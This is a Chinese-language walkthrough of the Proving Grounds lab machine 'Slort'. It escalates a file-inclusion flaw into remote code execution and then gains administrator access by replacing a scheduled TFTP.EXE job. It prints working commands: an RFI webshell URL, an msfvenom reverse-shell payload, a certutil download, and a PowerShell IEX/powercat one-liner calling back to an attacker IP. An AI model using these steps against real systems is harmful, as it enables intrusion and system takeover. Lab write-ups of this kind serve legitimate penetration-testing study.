Proving Grounds Practice : Slort Walkthrough

 Proving Grounds Practice : Slort Walkthrough

Foothole (立足點 ) :

• 4443、8080 網站發現 LFI 但無可利用的地方，改用 RFI 跑 webshell 然後下載 payload 與執行

PE ( 提權 ) :

• C:\backup 發現一個每五分鐘用高權限跑的 Job
• icacls 後確認有權限，建立 payload 使用 move 替換服務成功拿到高權限的 reverse shell

注意事項 : 

• 有 LFI 發現沒利用的地方改測試 RFI

第一步 Rustscan，└─$ rustscan -a 192.168.244.53 --scripts none --ulimit 5000 | tee rustscan

snmp closed，└─$ sudo nmap -sU -p 161 192.168.244.53 | tee snmp

nmap，└─$ sudo nmap -sCV -A -p 21,135,139,445,3306,4443,5040,7680,8080,49669,49668,49665,49667,49666 192.168.244.53 | tee nmap

21 FileZilla ftpd 0.9.41 beta

3306 mysql

4443 Apache 2.4.43 / PHP 7.4.6

8080 Apache 2.4.43 / PHP 7.4.6 (XAMPP)

enum4linux，└─$ enum4linux -a  192.168.244.53

MySQL 連線 IP 被拒

ftp 匿名登入失敗

ftp ftp:ftp 登入失敗

SMB List check

whatweb 4443、8080

Email[fastly-logo@2x.png]

4443 /

4443 /robots.txt

4443 /phpmyadmin 僅允許 local network 存取

8080 /

8080 /robots.txt

8080 /phpmyadmin 僅允許 local network 存取

gobuster 4443

gobuster 8080

4443 /site

8080 /site

whatweb 4443/site、8080/site

Modernizr[2.6.2.min]

4443 嘗試 Path Traversal 測試成功

http://192.168.244.53:4443/site/index.php?page=c:\windows\system32\drivers\etc\hosts

8080 嘗試 Path Traversal 測試成功

這一台是 Windows 且沒有 SSH Interface 所以針對帳號的 /.ssh/id_rsa 方向先跳過

上述的 Path Traversal 屬於 LFI，通常遇到這種網頁無論 LFI 有無成功都要另外嘗試 RFI

測試 RFI 到 Kali 試試看

http://192.168.244.53:4443/site/index.php?page=http://192.168.45.224/test.txt

看來也是成功的，那就好辦了

測試看看最簡易的 simple-backdoor.php 加上 whoami

http://192.168.244.53:4443/site/index.php?page=http://192.168.45.224/tools/simple-backdoor.php&cmd=whoami

看來沒有問題成功執行如下

建立 payload，└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.224 LPORT=4444 -f exe -b '\x00\x0d\x0a' -o shell.exe

遠端呼叫 Webshell.php，http://192.168.244.53:4443/site/index.php?page=http://192.168.45.224/tools/webshell.php

測試一下 command 看來沒問題

先抓 payload，certutil -urlcache -f http://192.168.45.224/pg/53/shell.exe shell.exe

dir 看一下確認 payload 有抓下去

執行 payload，進去了

或是用 powershell 也可以建立 Reverse Sehll

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.224/tools/powercat.ps1'); powercat -c 192.168.45.224 -p 4444 -e powershell"

開始 PE，whoami /priv

C:\backup 有兩個檔案跟一個 exe

每五分鐘跑一次 TFTP.EXE -i 192.168.234.57 get backup.txt

看一下 C:\backup & c:\backup\TFTP.exe 發現現有使用者有 (F) 權限

將 TFTP.EXE 先改成 tftp.exe.old

然後用同一支 shell.exe 放到 C:\backup 取代原有的 TFTP.EXE

等一段時間後 4444 listener 進來了，whoami 確認是管理者

補充說明

chisel 搭建 3306 到 kali，直接讀 proof.txt

select load_file('C:\\\\users\\administrator\\desktop\\proof.txt');

讀不到，看來 MySQL 權限不夠，這條路不通

改 Mapping 4443 到 kali 開啟 phpmyadmin，然後將 webshell 丟到 htdocs 底下

select load_file('C:\\\\users\\rupert\\desktop\\webshell.php') into dumpfile 'C:\\\\xampp\\htdocs\\webshell.php' 

webshell.php 輸入 powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.224/tools/powercat.ps1'); powercat -c 192.168.45.224 -p 4446 -e powershell"

進來後還是使用者 rupert

這個靶機的 Apache & MySQL 權限都不夠高無法利用